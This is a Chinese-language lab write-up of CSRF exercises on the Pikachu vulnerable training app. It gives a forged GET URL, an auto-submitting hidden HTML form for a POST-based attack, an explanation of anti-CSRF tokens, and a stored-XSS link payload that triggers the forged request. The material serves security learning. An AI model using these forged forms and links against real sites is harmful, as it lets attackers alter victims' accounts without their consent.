zoukankan      html  css  js  c++  java
  • csrf学习记录

    csrf学习记录

    pikachu

    csrf get

    来到pikachu页面

    这是虚拟机

    image-20210126201111779

    image-20210126200506588

    根据提示vince/123456登陆,看到修改信息

    image-20210126200604845

    image-20210126200615335

    随便填写,bp抓包

    image-20210126200652154

    因为试get请求,信息都在url里面,可以尝试修改url参数

    image-20210126200857503

    copy url后,发送给本机打开

    这是本机

    image-20210126201046867

    image-20210126201151857

    本机信息情况

    image-20210126201301961

    get 类型的csrf完成

    csrf post

    前面的不赘述

    直接抓包,看到修改信息的请求在请求体里,是post请求

    image-20210126201630374

    这里不在请求头就无法使用第一种办法了,攻击者要自己构造页面,诱导用户点击

    image-20210126201920409

    <!DOCTYPE html>
    <html>
    <head lang="en">
    	<title>csrf_post</title>
    	<script>
        window.onload = function() {
        document.getElementById("postsubmit").click();
      }
     </script>
    </head>
    <body>
           <form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"  method="POST">
           	 <input type="text" name="sex" value="1"><br>
           	 <input type="hidden" name="phonenum" value="hacker"><br>
           	 <input type="hidden" name="add" value="china"><br>
           	 <input type="hidden" name="email" value="hacker"><br>
           	 <input id="postsubmit" type="submit" name="submit" value="submit" />
           </form>
    </body>
    
    </html>
    

    发送用户,这是用户电脑

    image-20210126202019876

    我这里是firefox浏览器打开

    image-20210126202136057

    打开后,可以看到信息被修改

    image-20210126202309084

    完成csrf post

    csrf token

    CSRF的主要问题是敏感操作的链接容易被伪造每次请求,都增 加一个随机码(需要够随机,不容易伪造),后台每次对随机码进行验证网页接受从后台发过来的token,类型不可见。将其一并提交给后台进行验证。每次刷新,后台发送过来的token都不一样,起到了防止伪造的作用。

    image-20210126202632827

    image-20210126202707321

    image-20210126202736375

    可以看到每一次都不一样,从根本上杜绝了csrf

    csrf配合xss

    利用存储型xss,修改个人信息,抓包

    image-20210126202923859

    更改数据,copy url

    http://192.168.0.109/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=666&phonenum=3&add=3&email=3&submit=submit
    

    来到xss页面(存储型xss),随便输入111

    image-20210126203930280

    构造payload:

    <a href=http://192.168.0.109/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=hacker&phonenum=hacker&add=hacker&email=hacker&submit=submit>点一下试试??</a>
    

    黑客在该网站植入恶意代码,有一天,vince正常修改信息,看到下面有一个 ”点一下试试“

    image-20210126204022242

    点击一下

    image-20210126204254408

    xss配合csrf简单完成小实验,加油吧!!!

  • 相关阅读:
    学习些新东西
    浏览器内的web开发工具
    基于oracle开发的初步接触
    LAMP3 PHP安装
    svn for windows
    PHP替换掉字符串中的非字符
    搭个邮件服务器
    centos下安装mysql
    安装tomcat
    c#线程
  • 原文地址:https://www.cnblogs.com/liyu8/p/14332348.html
Copyright © 2011-2022 走看看